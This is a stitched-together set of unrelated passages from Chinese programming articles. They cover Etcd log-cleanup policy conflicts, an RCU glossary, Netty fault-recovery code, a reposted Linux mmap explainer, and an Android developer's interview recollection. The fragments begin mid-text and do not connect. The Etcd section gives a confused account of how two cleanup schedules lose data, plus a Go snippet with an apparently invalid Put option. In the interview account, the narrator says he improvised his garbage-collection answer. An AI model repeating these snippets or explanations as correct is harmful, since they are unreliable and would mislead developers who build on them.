...数据整理得井井有条，防止各种设定撞车，这事儿还真挺让人头疼的。就像是在解一道谜题，需要咱们仔细琢磨才行。 二、日志清理策略的重要性 在Etcd集群中，日志记录了所有操作的历史，包括数据变更、事务执行等。哎呀，你想象一下，就像是你每天扔垃圾，一开始还行，但日子一长，你家的垃圾桶就快装不下了，对吧？同样的道理，当咱们的系统里有好多好多机器（我们叫它们集群）一起工作的时候，它们产生的日志文件就像垃圾一样，越堆越多。时间一长，这些日志文件堆积如山，占用了咱们宝贵的硬盘空间，得赶紧想办法清理或者优化一下，不然电脑大哥就要抗议了！因此，合理的日志清理策略不仅能优化存储空间，还能提升系统性能。哎呀，制定并执行这些策略的时候，可得小心点，别一不小心就碰到了雷区，搞出个策略冲突，结果数据丢了，或者整出些乱七八糟的不可预知状况来。咱们得稳扎稳打，确保每一步都走对了，这样才能避免踩坑。 三、策略冲突的常见类型 策略冲突主要表现在以下几个方面： 1. 数据冗余 在清理日志时，如果策略过于激进，可能会删除关键历史数据，导致后续查询或恢复操作失败。 2. 一致性问题 不同节点之间的日志清理可能不一致，造成集群内数据的一致性被破坏。 3. 性能影响 频繁的日志清理操作可能对系统性能产生负面影响，尤其是在高并发场景下。 4. 数据完整性 错误的清理策略可能导致重要数据的永久丢失。 四、案例分析 Etcd中的日志清理策略冲突 假设我们正在管理一个Etcd集群，用于存储服务配置信息。为了优化存储空间并提高响应速度，我们计划实施定期的日志清理策略。具体策略如下： - 策略一：每日凌晨0点，清理所有超过7天历史的过期日志条目。 - 策略二：每月末，清理所有超过30天历史的过期日志条目。 问题：当策略一和策略二同时执行时，可能会出现冲突。想象一下，就像你家的书架，有一天你整理了书架（策略一），把一些不再需要的书拿走了，但过了22天，你的朋友又来帮忙整理（策略二），又把一些书从书架上取了下来。这样一来，原本在书架上的书，因为两次整理，可能就不见了，这就是数据丢失的意思。 五、解决策略 优化日志清理逻辑 为了解决上述策略冲突，我们可以采取以下措施： 1. 引入版本控制 在Etcd中，每条日志都关联着一个版本号。通过维护版本号，可以准确追踪每个操作的历史状态，避免不必要的数据删除。 代码示例： go // 假设etcdClient为Etcd客户端实例 resp, err := etcdClient.Put(context.Background(), "/config/key", "value", clientv3.WithVersion(1)) if err != nil { log.Fatalf("Failed to put value: %s", err) } 2. 实施并行清理机制 设计一个系统级别的时间线清理逻辑，确保同一时间点的数据不会被重复清理。 代码示例： go // 清理逻辑函数 func cleanupLogs() error { // 根据时间戳进行清理，避免冲突 // 实现细节略去 return nil } 3. 引入审计跟踪 对于关键操作，如日志清理，记录详细的审计日志，便于事后审查和问题定位。 代码示例： go // 审计日志记录函数 func auditLog(operation string, timestamp time.Time) { // 记录审计日志 // 实现细节略去 } 六、总结与反思 通过上述策略和代码示例的讨论，我们可以看到在Etcd集群中管理日志清理策略时，需要细致考虑各种潜在的冲突和影响。哎呀，你得知道，咱们要想在项目里防住那些让人头疼的策略冲突，有几个招儿可使。首先，咱们得搞个版本控制系统，就像有个大本营，随时记录着每个人对代码的修改，这样就算有冲突，也能轻松回溯，找到问题源头。然后，咱还得上个并行清理机制，就像是给团队的工作分配任务时，能确保每个人都清楚自己的责任，不会乱了套，这样就能大大减少因为分工不明产生的冲突。最后，建立一个审计跟踪系统，就相当于给项目装了个监控，每次有人改动了什么，都得有迹可循，这样一来，一旦出现矛盾，就能快速查清谁是谁非，解决起来也快多了。这三招合在一起，简直就是防冲突的无敌组合拳啊！嘿，兄弟！你得知道，监控和评估清理策略的执行效果，然后根据实际情况灵活调整，这可是保证咱们系统健健康康、高效运作的不二法门！就像咱们打游戏时，随时观察自己的状态和环境变化，及时调整战术一样，这样才能稳坐钓鱼台，轻松应对各种挑战嘛！ --- 通过本文的探讨，我们不仅深入理解了Etcd集群日志清理策略的重要性和可能遇到的挑战，还学习了如何通过实际的代码示例来解决策略冲突，从而为构建更稳定、高效的分布式系统提供了实践指导。

...内核中实现的高级同步机制，它允许并发读取数据结构（如链表）而不进行锁定。在RCU中，当有更新操作发生时，不会阻止读取线程继续访问旧数据，而是创建新版本的数据供写入者使用，并在一个称为“宽限期”结束后安全地删除旧数据。这样既能保证读取操作的高度并发性，又能确保在数据被删除前所有正在进行的读取操作顺利完成。 宽限期（Grace Period） , 在RCU机制中，宽限期是指从一个数据元素开始被标记为可删除到其真正被销毁之间的时间段。在这段时间里，RCU等待所有已存在的读取线程完成对该数据元素的访问后，才会执行实际的删除操作。通过引入宽限期概念，RCU能够有效避免因并发读取过程中数据元素被删除而导致的问题。 发布-订阅机制（Publish-Subscribe Mechanism） , 在软件设计模式中，发布-订阅机制是一种消息传递范式，其中一个组件（发布者）发布事件或数据，而其他组件（订阅者）根据它们的兴趣来接收这些信息。在RCU的上下文中，这个机制用来保证当一个新节点插入链表时，读取线程可以在节点完全初始化后再进行访问，从而确保读取到的是完整且一致的数据状态。这意味着即使在插入操作尚未完全完成时，读取线程也能正确识别和处理新增的节点。

...咱们就一步步拆解这些机制。 --- 三、Netty的故障恢复机制 3.1 异常处理与重试机制 首先，咱们来看看Netty最基础的故障恢复手段：异常处理与重试机制。 Netty提供了一种优雅的方式来处理异常。好比说呗，当客户端和服务器之间的连接突然“闹别扭”了，Netty就会立刻反应过来，自动给我们发个提醒，就像是“叮咚！出问题啦！”这样，咱们就能赶紧去处理这个小麻烦了。具体代码如下： java // 定义一个ChannelFutureListener，用于监听连接状态 ChannelFuture future = channel.connect(remoteAddress); future.addListener((ChannelFutureListener) futureListen -> { if (!futureListen.isSuccess()) { System.out.println("连接失败，尝试重新连接..."); // 这里可以加入重试逻辑 scheduleRetry(); } }); 在这段代码中，我们通过addListener为连接操作添加了一个监听器。如果连接失败，我们会打印一条日志并调用scheduleRetry()方法。这个办法啊，特别适合用来搞那种简单的重试操作，比如说隔一会儿就再试试重新连上啥的，挺实用的！ 当然啦，实际项目中可能需要更复杂的重试策略，比如指数退避算法。不过Netty已经为我们提供了足够的灵活性，剩下的就是根据需求去实现啦！ --- 3.2 零拷贝技术与内存管理 接下来，咱们聊聊另一个关键点：零拷贝技术与内存管理。 在高并发场景下，频繁的数据传输会导致内存占用飙升，进而引发GC（垃圾回收）风暴。Netty通过零拷贝技术很好地解决了这个问题。简单说呢，零拷贝技术就像是给数据开了一条“直达通道”，不用再把数据倒来倒去地复制一遍，就能让它直接从这儿跑到那儿。 举个例子，假设我们要将文件内容发送给远程客户端，传统的做法是先将文件读取到内存中，然后再逐字节写入Socket输出流。这样不仅效率低下，还会浪费大量内存资源。Netty 这家伙可聪明了，它能用 FileRegion 类直接把文件塞进 Socket 通道里，这样就省得在内存里来回倒腾数据啦，效率蹭蹭往上涨！ java // 使用FileRegion发送文件 FileInputStream fileInputStream = new FileInputStream(new File("data.txt")); FileRegion region = new DefaultFileRegion(fileInputStream.getChannel(), 0, fileSize); channel.writeAndFlush(region); 在这段代码中，我们利用DefaultFileRegion将文件内容直接传递给了Netty的通道，大大提升了传输效率。 --- 3.3 长连接复用与心跳检测 第三个重要的机制是长连接复用与心跳检测。 在高并发环境下，频繁创建和销毁TCP连接的成本是非常高的。所以啊，Netty这个家伙超级聪明，它能让一个TCP连接反复用，不用每次都重新建立新的连接。这就像是你跟朋友煲电话粥，不用每次说完一句话就挂断重拨，直接接着聊就行啦，省心又省资源！ 与此同时，为了防止连接因为长时间闲置而失效，Netty还引入了心跳检测机制。简单说吧，就像你隔一会儿给对方发个“我还在线”的消息，就为了确认你们的联系没断就行啦！ java // 设置心跳检测参数 Bootstrap bootstrap = new Bootstrap(); bootstrap.option(ChannelOption.SO_KEEPALIVE, true); // 开启TCP保活功能 bootstrap.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 5000); // 设置连接超时时间 在这里，我们通过设置SO_KEEPALIVE选项开启了TCP保活功能，并设置了最长的连接等待时间为5秒。这样一来，即使网络出现短暂中断，Netty也会自动尝试恢复连接。 --- 3.4 数据缓冲与批量处理 最后一个要点是数据缓冲与批量处理。 在网络通信过程中，数据的大小和频率往往不可控。要是每次传来的数据都一点点的，那老是去处理这些小碎数据，就会多花不少功夫啦。Netty通过内置的缓冲区（Buffer）解决了这个问题。 例如，我们可以使用ByteBuf来存储和处理接收到的数据。ByteBuf就像是内存管理界的“万金油”，不仅能够灵活地伸缩大小，还能轻松应对各种编码需求，简直是程序员手里的瑞士军刀！ java // 创建一个ByteBuf实例 ByteBuf buffer = Unpooled.buffer(1024); buffer.writeBytes(data); // 处理数据 while (buffer.readableBytes() > 0) { byte b = buffer.readByte(); process(b); } 在这段代码中，我们首先创建了一个容量为1024字节的缓冲区，然后将接收到的数据写入其中。接着，我们通过循环逐个读取并处理缓冲区中的数据。这种方式不仅可以提高处理效率，还能更好地应对突发流量。 --- 四、总结与展望 好了，朋友们，今天的分享就到这里啦！通过上面的内容，相信大家对Netty的故障恢复机制有了更深的理解。不管是应对各种意外情况的异常处理，还是能让数据传输更高效的零拷贝技术，又或者是能重复利用长连接和设置数据缓冲这些招数，Netty可真是个实力派选手啊！ 不过，技术的世界永远没有尽头。Netty虽然已经足够优秀，但在某些特殊场景下仍可能存在局限性。未来的日子啊，我超级期待能看到更多的小伙伴，在Netty的基础上大展身手，把自己的系统捯饬得既聪明又靠谱，简直就像给它装了个“智慧大脑”一样！ 最后，我想说的是，技术的学习是一个不断探索的过程。希望大家能在实践中积累经验，在挑战中成长进步。如果你有任何疑问或者想法，欢迎随时留言交流哦！ 祝大家都能写出又快又稳的代码，一起迈向技术巅峰吧！😎

...接对该段内存写时不会写入超过当前文件大小的内容. 采用共享内存通信的一个显而易见的好处是效率高，因为进程可以直接读写内存，而不需要任何数据的拷贝。对于像管道和消息队列等通信方式，则需要在内核和用户空间进行四次的数据拷贝，而共享内存则只拷贝两次数据：一次从输入文件到共享内存区，另一次从共享内存区到输出文件。实际上，进程之间在共享内存时，并不总是读写少量数据后就解除映射，有新的通信时，再重新建立共享内存区域。而是保持共享区域，直到通信完毕为止，这样，数据内容一直保存在共享内存中，并没有写回文件。共享内存中的内容往往是在解除映射时才写回文件的。因此，采用共享内存的通信方式效率是非常高的。 基于文件的映射，在mmap和munmap执行过程的任何时刻，被映射文件的st_atime可能被更新。如果st_atime字段在前述的情况下没有得到更新，首次对映射区的第一个页索引时会更新该字段的值。用PROT_WRITE 和 MAP_SHARED标志建立起来的文件映射，其st_ctime 和 st_mtime在对映射区写入之后，但在msync()通过MS_SYNC 和 MS_ASYNC两个标志调用之前会被更新。 用法： include <sys/mman.h> void mmap(void start, size_t length, int prot, int flags, int fd, off_t offset); int munmap(void start, size_t length); 返回说明： 成功执行时，mmap()返回被映射区的指针，munmap()返回0。失败时，mmap()返回MAP_FAILED[其值为(void )-1]，munmap返回-1。errno被设为以下的某个值 EACCES：访问出错 EAGAIN：文件已被锁定，或者太多的内存已被锁定 EBADF：fd不是有效的文件描述词 EINVAL：一个或者多个参数无效 ENFILE：已达到系统对打开文件的限制 ENODEV：指定文件所在的文件系统不支持内存映射 ENOMEM：内存不足，或者进程已超出最大内存映射数量 EPERM：权能不足，操作不允许 ETXTBSY：已写的方式打开文件，同时指定MAP_DENYWRITE标志 SIGSEGV：试着向只读区写入 SIGBUS：试着访问不属于进程的内存区 参数： start：映射区的开始地址。 length：映射区的长度。 prot：期望的内存保护标志，不能与文件的打开模式冲突。是以下的某个值，可以通过or运算合理地组合在一起 PROT_EXEC //页内容可以被执行 PROT_READ //页内容可以被读取 PROT_WRITE //页可以被写入 PROT_NONE //页不可访问 flags：指定映射对象的类型，映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体 MAP_FIXED //使用指定的映射起始地址，如果由start和len参数指定的内存区重叠于现存的映射空间，重叠部分将会被丢弃。如果指定的起始地址不可用，操作将会失败。并且起始地址必须落在页的边界上。 MAP_SHARED //与其它所有映射这个对象的进程共享映射空间。对共享区的写入，相当于输出到文件。直到msync()或者munmap()被调用，文件实际上不会被更新。 MAP_PRIVATE //建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的，只能使用其中一个。 MAP_DENYWRITE //这个标志被忽略。 MAP_EXECUTABLE //同上 MAP_NORESERVE //不要为这个映射保留交换空间。当交换空间被保留，对映射区修改的可能会得到保证。当交换空间不被保留，同时内存不足，对映射区的修改会引起段违例信号。 MAP_LOCKED //锁定映射区的页面，从而防止页面被交换出内存。 MAP_GROWSDOWN //用于堆栈，告诉内核VM系统，映射区可以向下扩展。 MAP_ANONYMOUS //匿名映射，映射区不与任何文件关联。 MAP_ANON //MAP_ANONYMOUS的别称，不再被使用。 MAP_FILE //兼容标志，被忽略。 MAP_32BIT //将映射区放在进程地址空间的低2GB，MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。 MAP_POPULATE //为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。 MAP_NONBLOCK //仅和MAP_POPULATE一起使用时才有意义。不执行预读，只为已存在于内存中的页面建立页表入口。 fd：有效的文件描述词。如果MAP_ANONYMOUS被设定，为了兼容问题，其值应为-1。 offset：被映射对象内容的起点。 3.munmap系统调用 include <sys/mman.h> int munmap( void addr, size_t len ) 该调用在进程地址空间中解除一个映射关系，addr是调用mmap()时返回的地址，len是映射区的大小。当映射关系解除后，对原来映射地址的访问将导致段错误发生。 4.msync系统调用 include <sys/mman.h> int msync ( void addr , size_t len, int flags) 一般说来，进程在映射空间的对共享内容的改变并不直接写回到磁盘文件中，往往在调用munmap（）后才执行该操作。可以通过调用msync()实现磁盘上文件内容与共享内存区的内容一致。 二 系统调用mmap()用于共享内存的两种方式 （1）使用普通文件提供的内存映射：适用于任何进程之间；此时，需要打开或创建一个文件，然后再调用mmap()；典型调用代码如下： [cpp] view plaincopy fd=open(name, flag, mode); if(fd<0) ... ptr=mmap(NULL, len , PROT_READ|PROT_WRITE, MAP_SHARED , fd , 0); 通过mmap()实现共享内存的通信方式有许多特点和要注意的地方 （2）使用特殊文件提供匿名内存映射：适用于具有亲缘关系的进程之间；由于父子进程特殊的亲缘关系，在父进程中先调用mmap()，然后调用fork()。那么在调用fork()之后，子进程继承父进程匿名映射后的地址空间，同样也继承mmap()返回的地址，这样，父子进程就可以通过映射区域进行通信了。注意，这里不是一般的继承关系。一般来说，子进程单独维护从父进程继承下来的一些变量。而mmap()返回的地址，却由父子进程共同维护。 对于具有亲缘关系的进程实现共享内存最好的方式应该是采用匿名内存映射的方式。此时，不必指定具体的文件，只要设置相应的标志即可. 三 mmap进行内存映射的原理 mmap系统调用的最终目的是将,设备或文件映射到用户进程的虚拟地址空间,实现用户进程对文件的直接读写,这个任务可以分为以下三步: 1.在用户虚拟地址空间中寻找空闲的满足要求的一段连续的虚拟地址空间,为映射做准备(由内核mmap系统调用完成) 每个进程拥有3G字节的用户虚存空间。但是，这并不意味着用户进程在这3G的范围内可以任意使用，因为虚存空间最终得映射到某个物理存储空间（内存或磁盘空间），才真正可以使用。 那么，内核怎样管理每个进程3G的虚存空间呢？概括地说，用户进程经过编译、链接后形成的映象文件有一个代码段和数据段（包括data段和bss段），其中代码段在下，数据段在上。数据段中包括了所有静态分配的数据空间，即全局变量和所有申明为static的局部变量，这些空间是进程所必需的基本要求，这些空间是在建立一个进程的运行映像时就分配好的。除此之外，堆栈使用的空间也属于基本要求，所以也是在建立进程时就分配好的，如图3.1所示： 图3.1 进程虚拟空间的划分 在内核中,这样每个区域用一个结构struct vm_area_struct 来表示.它描述的是一段连续的、具有相同访问属性的虚存空间，该虚存空间的大小为物理内存页面的整数倍。可以使用 cat /proc/<pid>/maps来查看一个进程的内存使用情况,pid是进程号.其中显示的每一行对应进程的一个vm_area_struct结构. 下面是struct vm_area_struct结构体的定义： [cpp] view plaincopy struct vm_area_struct { struct mm_struct vm_mm; / The address space we belong to. / unsigned long vm_start; / Our start address within vm_mm. / unsigned long vm_end; / The first byte after our end address within vm_mm. / / linked list of VM areas per task, sorted by address / struct vm_area_struct vm_next, vm_prev; pgprot_t vm_page_prot; / Access permissions of this VMA. / unsigned long vm_flags; / Flags, see mm.h. / struct rb_node vm_rb; / For areas with an address space and backing store, linkage into the address_space->i_mmap prio tree, or linkage to the list of like vmas hanging off its node, or linkage of vma in the address_space->i_mmap_nonlinear list. / union { struct { struct list_head list; void parent; / aligns with prio_tree_node parent / struct vm_area_struct head; } vm_set; struct raw_prio_tree_node prio_tree_node; } shared; / A file's MAP_PRIVATE vma can be in both i_mmap tree and anon_vma list, after a COW of one of the file pages. A MAP_SHARED vma can only be in the i_mmap tree. An anonymous MAP_PRIVATE, stack or brk vma (with NULL file) can only be in an anon_vma list. / struct list_head anon_vma_chain; / Serialized by mmap_sem & page_table_lock / struct anon_vma anon_vma; / Serialized by page_table_lock / / Function pointers to deal with this struct. / const struct vm_operations_struct vm_ops; / Information about our backing store: / unsigned long vm_pgoff; / Offset (within vm_file) in PAGE_SIZE units, not PAGE_CACHE_SIZE / struct file vm_file; / File we map to (can be NULL). / void vm_private_data; / was vm_pte (shared mem) / unsigned long vm_truncate_count;/ truncate_count or restart_addr / ifndef CONFIG_MMU struct vm_region vm_region; / NOMMU mapping region / endif ifdef CONFIG_NUMA struct mempolicy vm_policy; / NUMA policy for the VMA / endif }; 通常，进程所使用到的虚存空间不连续，且各部分虚存空间的访问属性也可能不同。所以一个进程的虚存空间需要多个vm_area_struct结构来描述。在vm_area_struct结构的数目较少的时候，各个vm_area_struct按照升序排序，以单链表的形式组织数据（通过vm_next指针指向下一个vm_area_struct结构）。但是当vm_area_struct结构的数据较多的时候，仍然采用链表组织的化，势必会影响到它的搜索速度。针对这个问题，vm_area_struct还添加了vm_avl_hight（树高）、vm_avl_left（左子节点）、vm_avl_right（右子节点）三个成员来实现AVL树，以提高vm_area_struct的搜索速度。 　　假如该vm_area_struct描述的是一个文件映射的虚存空间，成员vm_file便指向被映射的文件的file结构，vm_pgoff是该虚存空间起始地址在vm_file文件里面的文件偏移，单位为物理页面。 图3.2 进程虚拟地址示意图 因此,mmap系统调用所完成的工作就是准备这样一段虚存空间,并建立vm_area_struct结构体,将其传给具体的设备驱动程序 2 建立虚拟地址空间和文件或设备的物理地址之间的映射(设备驱动完成) 建立文件映射的第二步就是建立虚拟地址和具体的物理地址之间的映射,这是通过修改进程页表来实现的.mmap方法是file_opeartions结构的成员: int (mmap)(struct file ,struct vm_area_struct ); linux有2个方法建立页表: (1) 使用remap_pfn_range一次建立所有页表. int remap_pfn_range(struct vm_area_struct vma, unsigned long virt_addr, unsigned long pfn, unsigned long size, pgprot_t prot); 返回值: 成功返回 0, 失败返回一个负的错误值 参数说明: vma 用户进程创建一个vma区域 virt_addr 重新映射应当开始的用户虚拟地址. 这个函数建立页表为这个虚拟地址范围从 virt_addr 到 virt_addr_size. pfn 页帧号, 对应虚拟地址应当被映射的物理地址. 这个页帧号简单地是物理地址右移 PAGE_SHIFT 位. 对大部分使用, VMA 结构的 vm_paoff 成员正好包含你需要的值. 这个函数影响物理地址从 (pfn<<PAGE_SHIFT) 到 (pfn<<PAGE_SHIFT)+size. size 正在被重新映射的区的大小, 以字节. prot 给新 VMA 要求的"protection". 驱动可(并且应当)使用在vma->vm_page_prot 中找到的值. (2) 使用nopage VMA方法每次建立一个页表项. struct page (nopage)(struct vm_area_struct vma, unsigned long address, int type); 返回值: 成功则返回一个有效映射页,失败返回NULL. 参数说明: address 代表从用户空间传过来的用户空间虚拟地址. 返回一个有效映射页. (3) 使用方面的限制： remap_pfn_range不能映射常规内存，只存取保留页和在物理内存顶之上的物理地址。因为保留页和在物理内存顶之上的物理地址内存管理系统的各个子模块管理不到。640 KB 和 1MB 是保留页可能映射，设备I/O内存也可以映射。如果想把kmalloc()申请的内存映射到用户空间，则可以通过mem_map_reserve()把相应的内存设置为保留后就可以。 (4) remap_pfn_range与nopage的区别 remap_pfn_range一次性建立页表,而nopage通过缺页中断找到内核虚拟地址，然后通过内核虚拟地址找到对应的物理页 remap_pfn_range函数只对保留页和物理内存之外的物理地址映射，而对常规RAM，remap_pfn_range函数不能映射，而nopage函数可以映射常规的RAM。 3 当实际访问新映射的页面时的操作(由缺页中断完成) (1) page cache及swap cache中页面的区分：一个被访问文件的物理页面都驻留在page cache或swap cache中，一个页面的所有信息由struct page来描述。struct page中有一个域为指针mapping ，它指向一个struct address_space类型结构。page cache或swap cache中的所有页面就是根据address_space结构以及一个偏移量来区分的。 (2) 文件与 address_space结构的对应：一个具体的文件在打开后，内核会在内存中为之建立一个struct inode结构，其中的i_mapping域指向一个address_space结构。这样，一个文件就对应一个address_space结构，一个 address_space与一个偏移量能够确定一个page cache 或swap cache中的一个页面。因此，当要寻址某个数据时，很容易根据给定的文件及数据在文件内的偏移量而找到相应的页面。 (3) 进程调用mmap()时，只是在进程空间内新增了一块相应大小的缓冲区，并设置了相应的访问标识，但并没有建立进程空间到物理页面的映射。因此，第一次访问该空间时，会引发一个缺页异常。 (4) 对于共享内存映射情况，缺页异常处理程序首先在swap cache中寻找目标页（符合address_space以及偏移量的物理页），如果找到，则直接返回地址；如果没有找到，则判断该页是否在交换区 (swap area)，如果在，则执行一个换入操作；如果上述两种情况都不满足，处理程序将分配新的物理页面，并把它插入到page cache中。进程最终将更新进程页表。 注：对于映射普通文件情况（非共享映射），缺页异常处理程序首先会在page cache中根据address_space以及数据偏移量寻找相应的页面。如果没有找到，则说明文件数据还没有读入内存，处理程序会从磁盘读入相应的页面，并返回相应地址，同时，进程页表也会更新. (5) 所有进程在映射同一个共享内存区域时，情况都一样，在建立线性地址与物理地址之间的映射之后，不论进程各自的返回地址如何，实际访问的必然是同一个共享内存区域对应的物理页面。 四 总结 1.对于mmap的内存映射，是将物理内存映射到进程的虚拟地址空间中去，那么进程对文件的访问就相当于直接对内存的访问，从而加快了读写操作的效率。在这里，remap_pfn_range函数是一次性的建立页表，而nopage函数是根据page fault产生的进程虚拟地址去找到内核相对应的逻辑地址，再通过这个逻辑地址去找到page。完成映射过程。remap_pfn_range不能对常规内存映射，只能对保留的内存与物理内存之外的进行映射。 2.在这里，要分清几个地址，一个是物理地址，这个很简单，就是物理内存的实际地址。第二个是内核虚拟地址，即内核可以直接访问的地址，如kmalloc,vmalloc等内核函数返回的地址，kmalloc返回的地址也称为内核逻辑地址。内核虚拟地址与实际的物理地址只有一个偏移量。第三个是进程虚拟地址，这个地址处于用户空间。而对于mmap函数映射的是物理地址到进程虚拟地址，而不是把物理地址映射到内核虚拟地址。而ioremap函数是将物理地址映射为内核虚拟地址。 3.用户空间的进程调用mmap函数，首先进行必要的处理，生成vma结构体，然后调用remap_pfn_range函数建立页表。而用户空间的mmap函数返回的是映射到进程地址空间的首地址。所以mmap函数与remap_pfn_range函数是不同的，前者只是生成mmap，而建立页表通过remap_pfn_range函数来完成。 本篇文章为转载内容。原文链接：https://blog.csdn.net/wh8_2011/article/details/52373213。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...元素! Ｊ哥　亲自　实践了下，发现问题了，这个网上的栗子　是错的。实际上是可以ｒｅｍｏｖｅ掉得、真是个悲伤地故事。这个栗子是不正确的。。网上好有一片这样的文章，都是这个栗子。。 这里　看下其他网站上的总结吧　：强烈推荐http://developer.51cto.com/art/201111/302465.htm。很详细。 ＯＫ。还有最后一点，就是关于图片的，ｂｉｔｍａｐ对象的及时释放，这里　就不细说了，等在图片三级缓存一起去总结。 此时　感觉　对面的ａｎｄｒｏｉｄ　小哥　已经被我吸引了。好像很认真的在听我讲课一样。 然后，　他问我问题。我大体总结了一下。 面试官01问：有没有自定义过ｖｉｅｗ。 Ｊ哥回答：这个很常见，我自己定义过很多，比如　下拉刷新，上拉加载更多数据的listview,类似github 上面的pulltorefreshlistview。 还有图片轮询播放的viewpager，也是 继承viewpager，然后自己开启一个线程，去控制 切换的。还比如，跑马灯效果的textview ，scrollview与 listview 相互嵌套 导致 listview 高度计算不正确，我也是 自定义listview，复写了 onmeaure方法，然后解决冲突的。在比如 一些开源的 可以放大缩小的图片，我也是做过，主要是对onmeasure 方法，onlayout方法，ondraw 方法的复写。以及复写一下 view 自己的 touch事件等等，奥 对了，我们公司当时有需求 做一个 锁屏软件，侧滑解锁的，我也是自己定义的，然后展示给他看了一下，当时 那篇文章在这里。传送门http://blog.csdn.net/u011733020/article/details/41863861。 面试官01问：listview的优化、 Ｊ哥回答：(PS：这种问题，基本上 都快被问烂了，但是没办法 还是要回答。）listview作为最常见的 用来显示数据的view ，一般 从四个方面 去优化。 1 ，复用convertview， 不然假如有1000条数据，那么我们滑动，就会 产生1000个convertview ，这对内存是很大的浪费，所以 我们一定要复用。 2. 减少 findviewbyid 的次数， 因为 每次 去 执行 findviewbyid 也是要消耗资源的，我们要尽可能的减少，通常 我们定义一个viewholder，去管理 这些id ，然后通过tag 去直接拿到 id。 3， 分页加载，延迟加载 预加载。 这个在我们以前项目，有一个榜单，数据量很大，一次请求过来的数据量很大，这样有两个问题，一个是请求网络 时间可能会很长，另一个展示数据 上面 体验对不是很好，所以 我们做了 第一次加载 20条，然后每次请求 再去 加载10条新数据。 4.就是 对 listview 中一些 类似头像， 图片的 优化。这里 类似 三级缓存，推荐大家看一下 开源 的universal-image-loader 的源码。或者 这篇文章http://www.jb51.net/article/38162.htm，J哥有时间 专门写一篇过于 图片缓存的。 面试官01问： 看你简历上面 做过 社交，通信这块是怎么做的。 Ｊ哥回答：我看 咱们公司 也用到了 聊天，咱们公司是 自己做的 还是 用的第三方的类似 环信的。结果被J哥猜中，他说 是集成的环信（但是 有丢包现象，所以打算自己做通信）。 OK，Ｊ哥说　，我们　项目中聊天　是基于ｘｍｐｐ协议的做的，在没有android以前　，java有个开源的 smack ，android 上 现在有一个asmack ,其实 就是移植到android 中来了， 服务端是基于 openfire的 ,我们就是做的 openfire+asmack 的 聊天，这个原理主要 就是 绑定 ip 拿到 connection 然后 connect ，然后进行通信，我说，这个　跟ｈｔｔｐ请求　其实原理上一样，都是　绑定ｉｐ，然后　设置一些ｐｒｏｐｅｒｔｙ，然后通过类似流进行通信的，　asmack，其实底层 就是xml通信的。 面试官01问： touch 事件的传递机制，还特意画了，一个 就是 button LinearLayout 嵌套 。 Ｊ哥回答：就是这个， 这也难不倒我。因为Ｊ哥觉得　这个问题肯定会问到　所以　早有准备，这里　我就大体说下结论，详细原理　给你传送门。 我回答，这个很简单，只要你继承一下　button　　和　linearlayout　复写一下　三个方法　dispatchtouchEvent onInterceptTouchEvent 和onTouchEvent .就能很清楚的明白 传递的过程，我给你总的说下结论的，点击这个button，一般是 外面的父控件 先响应这个down 事件，然后 往子类里面传递，让子类 在往子类的下一级子类去传递，让最终的孩子去决定是不要要消费掉这个点击事件，如果消费掉，那么父类将不会响应，如果子类不消费，那么会退回到次级子类，然后看是否要消费，这样，一句话 就是父传子， 子决定要不要，不要 然后传回去。 这里有很详细 很详细的介绍， 包裹事件的分发。所以我就不罗嗦，http://blog.csdn.net/yanbober/article/details/45887547?ref=myread 面试官01问： 项目中图片的优化。 Ｊ哥回答：我给他展示的项目 其中有一款app 是有很多图片 ，但是 很流畅，也没有oom。关于图片 优化，一般我们采用三级缓存，1 。内存加载 2.本地加载 3 网络加载。 首先 我们看 内存中有没有，有直接拿来用，这里 我项目里是这样做的，我先获取一下 分配给我们应用的可用内存是多少，然后 拿1/4 或者 1/8做一个 lrucache. 把我们的bitmap对象添加进去。有些比较常用的图片，我会保存到本地，避免每次重复联网下载。结合 开源的 afinal universalimageloader 以及 13年谷歌官方推荐的volley(号称是 asynchttpclient 和universalimageloader)的结合、 所以 在我的项目中基本没有遇到过图片导致的oom 问题，对于单张的 大图片，我也会利用bitmapFactory，进行计算大小，然后 计算手机分辨率，进行定量的 压缩 处理。 面试官问： GC的回收 Ｊ哥回答：我说。GC 回收 应该不只是按照一种方式，应该有多种不同的算法，我看过谷歌 官网介绍的一点，有这样一块区域，他分为 latest（最近） middle（中等）permanent（永久的），这样三块子区域。里面分别存放，刚刚被创建的，以及 时间 靠后的，很久的，对象，不断地新对象 往latest里面添加，当达到相应对象区域的阀值的时候，就会触发GC，GC 进行回收的时候，对于latest 中回收的速度是最快的，而permanent 相对是最久的，而时间 也跟 每块区域中对象的个数有关系， 还有一种算法，是根据最近被引用的时间，或者 被引用的次数 去进行 GC的、、这里随便扯就是了。GC 回收并不是立即执行的。是不定时的。ＧＣ回收的时候　会阻塞线程，所以代码中要避免创建不必要的对象，例如ｆｏｒ循环中　创建大量对象　就会容易引起ＧＣ。 当我们也可以主动 在方法中执行system.gc() 去手动释放一些资源。 面试官01问： 怎么避免 viewpager 预加载 fragment的、 Ｊ哥回答：这个问题 我也碰到过，我们都知道，viewpager 它本身会预加载 左右两个 和当前一个对象、而 我们viewpager setOffscreenPageLimit(0) 不生效因为看源码知道，这个方法默认最少也要加载一个。所以 这个fragment 还没有被当前页面显示出来，已经夹在好了，有可能数据不是最新的，我是在 setuservisibilityhint() 这个方法中跟参数 动态去判断 要不要刷新的。 问了一圈，这个哥们大概没什么问的了，然后 就让我等一下，说让他们技术总监过来 。 我就等。。。 然后等了几分钟，进来一小姑娘，坐下，看了我简历，我以为是人事，来跟我谈人生理想。结果，没说几句话，让我讲一下我的项目。我qu，惊呆我了。我问，你也是做android的，我去，是这样的、、把J哥吓到, 然后问了Ｊ哥几个问题。 Android 小姑娘问： 看你项目中的listview 中item类型 是统一的，而加入 item 差别挺大的 你怎么复用。 Ｊ哥回答：J哥装作很牛的样子说，我暂时想到两种方法，1.给这个对象 加一个type 然后 根据 type 去复用，或者 把这几种类型 一起加载，然后控制显示隐藏。然后 我反问小姑娘，假如 